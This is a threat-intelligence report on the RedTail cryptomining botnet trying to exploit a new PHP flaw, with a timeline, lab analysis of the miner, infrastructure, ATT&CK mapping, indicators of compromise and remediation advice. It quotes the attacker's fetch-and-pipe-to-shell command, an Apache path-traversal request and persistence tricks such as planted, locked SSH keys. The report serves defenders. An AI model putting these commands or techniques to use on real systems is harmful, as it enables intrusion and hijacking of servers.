In our first PHP2Shell article we reported probes hitting Fenestra's sensors before PHP released its fix. Since then the traffic has changed character. Less than two days after the patch, an established cryptomining botnet, RedTail (also labelled Prometei by some security vendors), was trying to use PHP2Shell to install its miner. Our sensors captured the attempts; we can't confirm the exploit works against a real vulnerable server. This follow-up covers what the operation does, how it is built and the indicators defenders can use.
What We Know
- Three kinds of PHP2Shell traffic within 48 hours. Fenestra's sensors saw self-identified scanning tools, public proof-of-concept exploits used with little change, and then a criminal operation attempting to deliver a real payload. By the morning of 23 October we had recorded 66 PHP2Shell connections from 8 sources. Only one source sent a real payload: RedTail, which came back for a second round later that day.
- An exploit attempt, not a confirmed working exploit. RedTail's requests had the shape of a PHP2Shell trigger and carried its download command. Our sensors record what is sent but don't run PHP, so we can't tell whether the exploit would succeed against a vulnerable server. What the attempts do show is that the operator has added PHP2Shell to its toolkit.
- RedTail is not new, and PHP2Shell is just its latest way in. The same operator has hit our sensors since early September through weak SSH and Telnet passwords and an old Apache flaw (CVE-2021-41773). Each new flaw is added as another entry point to the same installer.
- The installer labels each entry point. The download command passes the entry point's name to the
installer script (
sh -s php2shell,sh -s telnet,sh -s ssh), which suggests the operator tracks which flaw produced each infection. - The malware hides its traffic. In our lab, the miner looked up its servers using
encrypted DNS (DNS-over-TLS) through public resolvers rather than the server's own DNS, disguised
itself as an
nginxprocess and set itself to restart on reboot. - The infrastructure is long-lived. The domains behind the command-and-control servers were registered in batches from April 2024, and they all point to a server that also spreads the malware over SSH.
Timeline (UK Time)
| When | What happened |
|---|---|
| Early Sep | RedTail starts appearing on Fenestra's sensors through weak SSH and Telnet passwords, delivered from a first download server. |
| Mid Sep | The operator moves to a second download server and starts trying to exploit the Apache path-traversal flaw (CVE-2021-41773), using its own libredtail-http User-Agent. |
| Mid Sep to mid Oct | The same installer kit (5 miner builds and 2 scripts) is uploaded to our sensors nine times, unchanged. |
| Early Oct | A third download server takes over and becomes the main one. |
| 21 Oct | PHP publishes its PHP2Shell advisory and fixed releases. |
| 23 Oct | RedTail sends PHP2Shell exploit attempts to Fenestra's sensors, less than two days after the fix, using the current download server. A second round follows later that day. |
How the Operation Works
RedTail breaks into Linux servers and IoT devices, then installs a cryptocurrency miner. Every entry point ends with the same step: download an installer script from the operator's server and run it.
| Entry point | What we saw |
|---|---|
| PHP2Shell (CVE-2026-109618) | Exploit attempts carrying a PHP command that would run (wget || curl) hxxps://217.60.102[.]5/sh | sh -s php2shell if the exploit succeeds. |
| Apache (CVE-2021-41773 / CVE-2021-42013) | POST /cgi-bin/../../../../../../../../../../bin/sh with User-Agent libredtail-http, from 81 sources. |
| Telnet | Weak passwords, then a copy over SFTP (scp ... dlr@<server>:sh) with an HTTPS download as a fallback, from 63 sources. The script reports success with a marker the operator calls redtail_bot_telnet_ok. |
| SSH | Weak root/admin passwords, from 2 sources. One of them uploads the full kit, plants the operator's SSH key and locks the key file so it can't be removed. |
The installer script picks the right build for the machine (x86_64, i686, ARM v7, ARM v8 or RISC-V), finds a writable folder that allows programs to run, copies the miner there under a random hidden name, runs it and deletes the original files. A second script removes rival miners: it disables their services, strips download commands from every cron job and shell profile, and empties the temporary folders.
The PHP2Shell requests used a standard browser User-Agent rather than RedTail's own, and the September builds contain no reference to PHP2Shell. The new entry point was most likely added through a separate scanner or a newer module, while the miner itself stayed the same.
What the Malware Does
We ran the x86_64 build in an isolated lab with no internet connection, faking every service it tried to reach. The miner is built on the open-source XMRig miner (version 6.26.0), with added code for SSH spreading and its own HTTP and TLS client. Its settings are encrypted inside the file.
- Hides as nginx. The running process names itself
nginx: worker process. - Survives reboots. It adds an
@rebootentry to root's crontab pointing to its hidden file. - Opens a listener on TCP port 40067.
- Uses encrypted DNS. It never sends normal DNS queries. It contacts a built-in list of public DNS-over-TLS resolvers on TCP port 853, without sending a server name, and accepts any certificate.
- Talks to its servers on two unusual ports. TCP 43782 carries an encrypted channel that always
starts with the same 8 bytes. TCP 2137 carries mining traffic that logs in with the username and
password
x. The miner sends no wallet address when it logs in, so the wallet is most likely set on the operator's proxy, and mining earnings can't be traced from the sample.
Infrastructure
- One server does two jobs. All 9 command-and-control domains point to
130.12.180[.]51, which is also one of the two sources spreading RedTail over SSH to our sensors (more than 100 sessions since early September). One domain also points to31.56.209[.]165. - Download servers in leased address space. The three download servers and
31.56.209[.]165sit on the same hosting network, in address space leased through the same broker. One of the sources that hit our sensors with PHP2Shell on 21 October uses that broker too, which is a weak link on its own. - Domains bought in batches. The 8 parent domains were registered in April 2024, October 2024 and February 2025, and seven of them are managed from a single DNS account.
Techniques (MITRE ATT&CK)
| Tactic | Technique | How RedTail uses it |
|---|---|---|
| Initial Access | T1190 Exploit Public-Facing Application | PHP2Shell; Apache CVE-2021-41773 / CVE-2021-42013 |
| Credential Access | T1110.001 Brute Force: Password Guessing | Weak SSH and Telnet passwords |
| Execution | T1059.004 Command and Scripting Interpreter: Unix Shell | Installer runs through sh |
| Command and Control | T1105 Ingress Tool Transfer | wget/curl over HTTPS, scp over SFTP |
| Persistence | T1098.004 Account Manipulation: SSH Authorized Keys | Plants the operator's SSH key |
| Persistence | T1053.003 Scheduled Task/Job: Cron | @reboot crontab entry |
| Defence Evasion | T1222.002 File and Directory Permissions Modification | chattr +ai locks the planted key file |
| Defence Evasion | T1564.001 Hide Artifacts: Hidden Files and Directories | Miner runs from a random dotfile |
| Defence Evasion | T1036.005 Masquerading: Match Legitimate Name or Location | Process named nginx: worker process |
| Defence Evasion | T1027.002 Obfuscated Files or Information: Software Packing | UPX-packed builds; encrypted settings |
| Defence Evasion | T1070.004 Indicator Removal: File Deletion | Deletes the original downloads |
| Impact | T1489 Service Stop | Disables rival miners' services |
| Command and Control | T1573 Encrypted Channel | Custom encrypted channel; DNS-over-TLS lookups |
| Command and Control | T1571 Non-Standard Port | TCP 43782 and 2137 |
| Command and Control | T1090 Proxy | Mining traffic goes through operator proxies |
| Impact | T1496 Resource Hijacking | Cryptocurrency mining |
Indicators of Compromise
Addresses rotate, so use them to search your logs as well as to block. File hashes and host indicators last longer. We have shared these indicators with abuse.ch's ThreatFox.
Network
| Indicator | Type | Notes |
|---|---|---|
hxxps://217.60.102[.]5/sh |
Download URL | Current download server (October), also used for PHP2Shell |
hxxps://217.60.103[.]56/sh |
Download URL | Mid September to early October |
hxxps://217.60.195[.]113/sh |
Download URL | Early September |
217.60.102[.]5, 217.60.103[.]56, 217.60.195[.]113 |
IP (TCP 443, 22) | Download servers (HTTPS and SFTP) |
p.2137gang[.]st, p.2137gang[.]pl, p.2137gang[.]net, p.2137gang[.]shop, p.2137gang[.]store |
Domain | Command-and-control and mining proxy |
proxy.identities[.]network, proxies.identities[.]network |
Domain | Command-and-control and mining proxy |
proxy.insanecppdev[.]com, proxy.insanitycpp[.]cx |
Domain | Command-and-control and mining proxy |
130.12.180[.]51 |
IP | Command-and-control server (TCP 43782, 2137); also spreads over SSH |
31.56.209[.]165 |
IP | Second address for one proxy domain |
77.90.185[.]20 |
IP | Sent the PHP2Shell exploit attempts; also spreads over SSH |
libredtail-http |
User-Agent | Apache exploit requests |
40680d1b05000000 |
Bytes | First 8 bytes of every session on the encrypted channel |
052a5e65c3a64e860e1706b1de3c46a9 |
JA3 | DNS-over-TLS client, no server name sent |
Files (SHA-256)
| File | SHA-256 |
|---|---|
redtail.x86_64 |
f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987 |
redtail.i686 |
8e1a67a5c03b3cd818f046c7a1605afccc0ee5ce437a0d099881f1872b54bc70 |
redtail.arm7 |
d70f917e35813a7ae323e6b2b539d6dbbfc3a3a6599f1fed93430b14ca08b141 |
redtail.arm8 |
d1cac82f44b54b0fd244a9e4122811e9ae108a197c7a65a20fd2e7552683e68e |
redtail.riscv |
3f3bf218089d1488617d37f8a5116bb2791eb39ce06a1b5bc9a4cdfe5e94dd39 |
setup.sh (installer) |
1e70b63472772e3f5092ffe9c3573470e73590e6ab6d93fdcede1d368a5fd72d |
clean.sh (rival removal) |
3f3a11bafabb1a35db913cfe51995f2e357d049e268860175876ae5a93d23892 |
On the Host
- An SSH key with the comment
rsa-key-20230629(fingerprintSHA256:78gkKoLYeUW62etRipAiAw2jImcwCMnvC5BO9+3mOtY) inauthorized_keys, especially if the file is immutable (lsattrshowsiora). - An
@rebootentry in root's crontab that runs a hidden file. - A process named
nginx: worker processon a server that doesn't run nginx, or one running from a hidden file in a home or temporary folder. - A process listening on TCP port 40067.
- Cron jobs and shell profiles that have been emptied without explanation.
What to Look For
- Outbound connections to TCP ports 43782 or 2137, or to the domains and addresses above.
- DNS-over-TLS traffic (TCP 853) from servers that have no reason to use it.
- Web requests with the User-Agent
libredtail-http, orPOSTrequests to paths containing/cgi-bin/../../bin/shor encoded versions of it. - Commands in web, PHP or shell logs that pipe a download into
sh -sfollowed by a word such asphp2shell,telnetorssh. - Sustained high CPU use on web servers and IoT devices.
What to Do Now
- Patch PHP to a fixed release (8.2.35, 8.3.36, 8.4.27 or 8.5.12 or later). Our first article covers older branches.
- Patch or retire old Apache servers. RedTail is still trying to exploit a flaw from 2021.
- Turn off password logins for SSH and switch off Telnet wherever you can, especially on IoT devices and appliances.
- If you find RedTail, treat the machine as compromised: remove the planted SSH key (unlock it with
chattr -iafirst), the cron entry and the hidden file. Then rebuild it if you can, and rotate any credentials it held. The malware carries code for spreading over SSH, so check machines it could reach.
What We Don't Know Yet
- How many servers RedTail has infected through PHP2Shell. Our sensors see attempts, not successes.
- Whether RedTail's exploit works. Our sensors record what is sent; they don't run PHP, so we can't tell whether the exploit would succeed on a real vulnerable server.
- Where the mining earnings go. The wallet appears to be set on the operator's proxy, not in the malware.
- Whether RedTail spreads further over SSH. The miner contains SSH spreading code, but it didn't try to spread during our short lab run.
- What the encrypted channel on port 43782 carries. It may be commands, statistics or updates.
What to Watch
- New entry points being added to the same installer, especially for other newly published flaws.
- A move away from the current download server and command-and-control domains.
- Other cryptomining and botnet operations adopting PHP2Shell, and PHP2Shell being added to CISA's Known Exploited Vulnerabilities catalogue.